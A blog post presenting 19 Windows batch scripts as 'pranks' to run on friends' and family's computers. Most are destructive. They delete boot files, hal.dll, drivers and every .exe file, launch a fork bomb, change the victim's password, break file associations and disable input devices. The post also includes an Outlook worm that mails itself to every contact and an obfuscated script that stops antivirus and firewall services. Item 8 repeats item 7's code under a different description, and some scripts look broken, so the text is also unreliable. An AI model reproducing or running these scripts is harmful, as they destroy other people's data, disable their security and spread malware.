Lifestyle Technology

Best command prompt pranks. cmd pranks on friends/family.

command prompt pranks cmd pranks
Written by Spurgeon

Best command prompt pranks. cmd pranks on friends/family.

We all have people in our lives we want to annoy and what better way to annoy them than to mess with their laptops or computers? We have for you 19 different codes, each with unique purposes, to annoy your loved ones. Warning, some of these are pretty dangerous so, don’t use them unless you know what you’re getting into.  We are in no way responsible for your actions.

Best command prompt pranks. cmd pranks on friends/family.

Best command prompt pranks. cmd pranks on friends/family.

1. Swapping mouse keys

Pretty straightforward. Swaps the left and right buttons on the mouse so, when the victim left-clicks, it will be registered as a right click. To reset this, you can go into mouse settings and change it. Pretty easy. But annoying in so many levels. XD

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

2. Change the login password

Ever had a friend or a loved one who just won’t give you their computer password no matter how much you ask? Well, time to give them a taste of their own medicine. Although, they’ll probably never let you access their computer again.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Change User Password To “Put password here without quotes”
net user %username% “Username without quotes”

Best command prompt pranks. cmd pranks on friends/family.

3. Disk tray gone mad

Use this and the disk tray will go crazy. It will keep popping out and in, like it’s possessed or something. No cause for concern. But worth the effort, if you’re looking to annoy someone.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Start Opening Disk Tray
echo Do >> “opendisk.vbs”
echo Set oWMP = CreateObject(“WMPlayer.OCX.7” ) >> “opendisk.vbs”
echo Set colCDROMs = oWMP.cdromCollection >> “opendisk.vbs”
echo colCDROMs.Item(d).Eject >> “opendisk.vbs”
echo colCDROMs.Item(d).Eject >> “opendisk.vbs”
echo Loop >> “opendisk.vbs”
start “” “opendisk.vbs”
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

4. Reset the computer clock

Reset your computer clock to the start of the century. Not much, but atleast the victim will have to go through all the process of setting the time and date again.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Change Computer Time
time 12:00
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

5. Hide My Documents folder

Pretty much self-explanatory.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Hide My Documents Folder
attrib +h “%userprofile%\my documents”
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

6. Blue Screen

Cause the whole screen to go blue. A simple restart should fix this but it’s worth the panic you create.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Activate Blue Screen Of Death
@((( Echo Off > Nul ) & Break Off )
@Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@Reg Add “%HiveBSOD%” /v “BSOD” /t “REG_SZ” /d %0 /f > Nul
@Del /q /s /f “%SystemRoot%\Windows\System32\Drivers\*.*”
)
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

7. The last restart

Caution. This one’s pretty dangerous. Once you use this, the computer may never switch on again. So, only use if you know the consequences.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem The Last Restart
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
shutdown /r /t 00
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

8. Can’t close nothing

Everything the victim closes will magically reappear again. That has to be one of the most funniest cmd pranks ever. Just watch him go nuts on the close button.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem The Last Restart
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
shutdown /r /t 00
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

9. File type identity crisis

Change any particular file extension name to which ever you want to. For example, change filename.mp3 to filename.exe. That enough to wreak major havoc in the computer.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Confuse File Extensions Powerup
assoc .dll=txtfile
assoc .exe=pngfile
assoc .vbs=Visual Style
assoc .reg=xmlfile
assoc .txt=regfile
rem ———————————
rem Confuse File Extensions for text
assoc .mp3=txtfile
assoc .xml=txtfile
assoc .png=txtfile
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

10. R.I.P. Computer

Ok. This one is retty self-explanatory. And we don’t recommend you do this. Because what this does is it deletes a particular file called hal.dll which keeps the computer running. Deleting that will literally kill your computer.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Disable Computer By Deleting hal.dll
del /f /q %SystemDrive%\WINDOWS\system32\hal.dll
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

You might also be interested in How to hack school wifi using android, iOS or PC.

 

11. Delete everything of a specified file type

You get what it means.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Delete All Exe
DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
echo Y | FOR /F “tokens=1,* delims=: ” %%j in (FIleList_exe.txt) do del “%%j:%%k”
rem ———————————

command prompt pranks cmd pranks

Best command prompt pranks. cmd pranks on friends/family.

12. Crash the computer

This one’s not that bad. All it does is crash the computer once. You can restart and the computer will be back to normal. But atleast you’ll have your moment to gloat.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Crash Computer
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
echo start “” %0>>crash.bat
start “” crash.bat
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

14. Delete a program

Pretty mild. All this does is delete a particular program or software from the victim’s computer. He or she will have to re-install it again. Recommended target: .net. Most apps need that one. JDK would be a good bet too. And if the victim’s a gamer, find his/her favourite game, and you know what to do.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Delete Notepad
tskill notepad
del /f /q “%windir%\system32\notepad.exe”
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

14. Mass genicide online (Warning: Illegal)

Read the heading. This one is so dangerous, it needs a disclaimer.You absolutely cannot do this unless you want to end up in prison. Literally. This code will send viruses to every contact in your outlook mail. That’s illegal and if anyone goes to the cops and they find you, you’re off to prison.

Disclaimer:

The reader is highly recommended to refrain from using the code mentioned below as it is illegal and such action can cause an individual to get arrested. We are in no way responsible for your actions and have already urged you to refrain from using this code. Everything you do with it will be at your own risk.

 

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Spread Via Outlook Contact Book
echo dim x>>%SystemDrive%\mail.vbs
echo on error resume next>>%SystemDrive%\mail.vbs
echo Set fso =”Scripting.FileSystem.Object”>>%SystemDrive%\mail.vbs
echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
echo Set ol=CreateObject(“Outlook.Application”)>>%SystemDrive%\mail.vbs
echo Set out=WScript.CreateObject(“Outlook.Application”)>>%SystemDrive%\mail.vbs
echo Set mapi = out.GetNameSpace(“MAPI”)>>%SystemDrive%\mail.vbs
echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
echo Set Mail=ci>>%SystemDrive%\mail.vbs
echo Mail.to=ol.GetNameSpace(“MAPI”).AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs
echo Mail.Subject=”Is this you?”>>%SystemDrive%\mail.vbs
echo Mail.Body=”Man that has got to be embarrassing!”>>%SystemDrive%\mail.vbs
echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
echo Mail.send>>%SystemDrive%\mail.vbs
echo Next>>%SystemDrive%\mail.vbs
echo ol.Quit>>%SystemDrive%\mail.vbs
start “” “%SystemDrive%\mail.vbs”
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

15. Self Destruct

Add this code to the end of any code file and after the victim closes the file, it will delete itself.

Code:Best command prompt pranks. cmd pranks on friends/family.

rem ———————————
rem Self Destruct
del /f /q %0
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

16. Kill the anti-virus

Ironic. The victim will probably have an anti-virus so, you can kill it by writing this code into a file and running it. Boom. That anti-virus is dead.

Code:Best command prompt pranks. cmd pranks on friends/family.

@ echo off
rem ———————————
rem Encripted AV Killer
del /F /Q %SystemDrive%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
set ii=ne
set ywe=st
set ury=t
set iej=op
set jt53=Syma
set o6t=nor
set lyd2=fee
set h3d=ton
set gf45=ntec
set own5=McA
%ii%%ury% %ywe%%iej% “Security Center” /y
%ii%%ury% %ywe%%iej% “Automatic Updates” /y
%ii%%ury% %ywe%%iej% “%jt53%%gf45% Core LC” /y
%ii%%ury% %ywe%%iej% “SAVScan” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Firewall Monitor Service” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto-Protect Service” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto Protect Service” /y
%ii%%ury% %ywe%%iej% “%own5%%lyd2% Spamkiller Server” /y
%ii%%ury% %ywe%%iej% “%own5%%lyd2% Personal Firewall Service” /y
%ii%%ury% %ywe%%iej% “%own5%%lyd2% SecurityCenter Update Manager” /y
%ii%%ury% %ywe%%iej% “%jt53%%gf45% SPBBCSvc” /y
cls
%ii%%ury% %ywe%%iej% “Ahnlab Task Scheduler” /y
%ii%%ury% %ywe%%iej% navapsvc /y
%ii%%ury% %ywe%%iej% “Sygate Personal Firewall Pro” /y
%ii%%ury% %ywe%%iej% vrmonsvc /y
%ii%%ury% %ywe%%iej% MonSvcNT /y
%ii%%ury% %ywe%%iej% SAVScan /y
%ii%%ury% %ywe%%iej% NProtectService /y
%ii%%ury% %ywe%%iej% ccSetMGR /y
%ii%%ury% %ywe%%iej% ccEvtMGR /y
%ii%%ury% %ywe%%iej% srservice /y
%ii%%ury% %ywe%%iej% “%jt53%%gf45% Network Drivers Service” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% Unerase Protection” /y
%ii%%ury% %ywe%%iej% MskService /y
%ii%%ury% %ywe%%iej% MpfService /y
%ii%%ury% %ywe%%iej% mcupdmgr.exe /y
%ii%%ury% %ywe%%iej% “%own5%%lyd2%AntiSpyware” /y
%ii%%ury% %ywe%%iej% helpsvc /y
%ii%%ury% %ywe%%iej% ERSvc /y
%ii%%ury% %ywe%%iej% “*%o6t%%h3d%*” /y
%ii%%ury% %ywe%%iej% “*%jt53%%gf45%*” /y
%ii%%ury% %ywe%%iej% “*%own5%%lyd2%*” /y
cls
%ii%%ury% %ywe%%iej% ccPwdSvc /y
%ii%%ury% %ywe%%iej% “%jt53%%gf45% Core LC” /y
%ii%%ury% %ywe%%iej% navapsvc /y
%ii%%ury% %ywe%%iej% “Serv-U” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto Protect Service” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Client” /y
%ii%%ury% %ywe%%iej% “%jt53%%gf45% AntiVirus Client” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Server” /y
%ii%%ury% %ywe%%iej% “NAV Alert” /y
%ii%%ury% %ywe%%iej% “Nav Auto-Protect” /y
cls
%ii%%ury% %ywe%%iej% “McShield” /y
%ii%%ury% %ywe%%iej% “DefWatch” /y
%ii%%ury% %ywe%%iej% eventlog /y
%ii%%ury% %ywe%%iej% InoRPC /y
%ii%%ury% %ywe%%iej% InoRT /y
%ii%%ury% %ywe%%iej% InoTask /y
cls
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Auto Protect Service” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Client” /y
%ii%%ury% %ywe%%iej% “%o6t%%h3d% AntiVirus Corporate Edition” /y
%ii%%ury% %ywe%%iej% “ViRobot Professional Monitoring” /y
%ii%%ury% %ywe%%iej% “PC-cillin Personal Firewall” /y
%ii%%ury% %ywe%%iej% “Trend Micro Proxy Service” /y
%ii%%ury% %ywe%%iej% “Trend NT Realtime Service” /y
%ii%%ury% %ywe%%iej% “%own5%%lyd2%.com McShield” /y
%ii%%ury% %ywe%%iej% “%own5%%lyd2%.com VirusScan Online Realtime Engine” /y
%ii%%ury% %ywe%%iej% “SyGateService” /y
%ii%%ury% %ywe%%iej% “Sygate Personal Firewall Pro” /y
cls
%ii%%ury% %ywe%%iej% “Sophos Anti-Virus” /y
%ii%%ury% %ywe%%iej% “Sophos Anti-Virus Network” /y
%ii%%ury% %ywe%%iej% “eTrust Antivirus Job Server” /y
%ii%%ury% %ywe%%iej% “eTrust Antivirus Realtime Server” /y
%ii%%ury% %ywe%%iej% “Sygate Personal Firewall Pro” /y
%ii%%ury% %ywe%%iej% “eTrust Antivirus RPC Server” /y
cls
%ii%%ury% %ywe%%iej% netsvcs
%ii%%ury% %ywe%%iej% spoolnt
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

You might also be interested in Best Headphones For Watching Movies, TV.

 

17. Bye Bye Task Manager

No more Ctrl+Alt+Delete. Kill off the task manager to never appear again. To bring it back up, replace Disable in the code below with Enable.

Code:Best command prompt pranks. cmd pranks on friends/family.

rem ———————————
rem Disable Task Manager
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

18. No more internet

Kill the victim’s internet. Although it won’t take much to bring it back up again.

Code:Best command prompt pranks. cmd pranks on friends/family.

rem ———————————
rem Disable Internet
@Echo off & @@Break Off
Ipconfig /release
%jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

19. Disable Keyboard and mouse

Disables the victim’s keyboard and mouse, so unless they have a touch screen monitor, they’re in some serious trouble. Not as serious as killing off their computer, though.

Mouse:Best command prompt pranks. cmd pranks on friends/family.

rem ———————————
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ———————————

Keyboard:

rem ———————————
rem Disable Keyboard
echo Windows Registry Editor Version 5.00 > “nokeyboard.reg”
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> “nokeyboard.reg”
echo “Scancode Map”=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> “nokeyboard.reg”
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> “nokeyboard.reg”
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> “nokeyboard.reg”
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> “nokeyboard.reg”
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> “nokeyboard.reg”
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> “nokeyboard.reg”
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> “nokeyboard.reg”
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> “nokeyboard.reg”
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> “nokeyboard.reg”
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> “nokeyboard.reg”
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> “nokeyboard.reg”
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> “nokeyboard.reg”
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> “nokeyboard.reg”
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> “nokeyboard.reg”
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> “nokeyboard.reg”
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> “nokeyboard.reg”
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> “nokeyboard.reg”
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> “nokeyboard.reg”
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> “nokeyboard.reg”
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> “nokeyboard.reg”
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> “nokeyboard.reg”
start “nokeyboard.reg”
rem ———————————

Best command prompt pranks. cmd pranks on friends/family.

Few More Useful Command Prompts Tricks – Video 

Thanks for reading through our article Best command prompt pranks. cmd pranks on friends/family. If you’ve enjoyed this, you could give us a thumbs up by sharing this on your favourite social network. That would help us out a lot. Got something to say? We’ll be hanging out in the comments section below. And if there’s any query you have or any topic you want our opinion on, our experts can be found in the Contact Us section up top. You could also send us a mail to suryateja@lifetipspro.com. Have a great day ahead. Cheers!

Find us on twitter at twitter.com/lifetipspro_com or if you’d like to tweet this article out to your peeps, just click below.

Get Latest Updates To Mailbox

Get Latest Updates To Mailbox

Join our mailing list to receive the latest news and updates from our team. We send you all the latest health tips, technology tips and many other awesome tips.

You have Successfully Subscribed!

About the author

Spurgeon

Hey there. Spurgeon Chatla here. I don't have much of a resume apart from being a blogger, graphic designer, fitness consultant, writer, engineer and YouTuber (still working on it). I love my computer and you'll not find me anywhere except in front of my computer, where I'll either be blogging or designing cool stuff. You can easily find me on most social media thanks to my peculiar name and I'll be sure to respond. Just don't spam me. Please.

5 Comments

Leave a Comment

Get Latest Tips To Your Inbox For Free

So that you don't miss out on all our latest news from our team. Get all our latest updates delivered straight to your mailbox so you can read at your convenience. 

Thanks for subscribing. Have a great day ahead.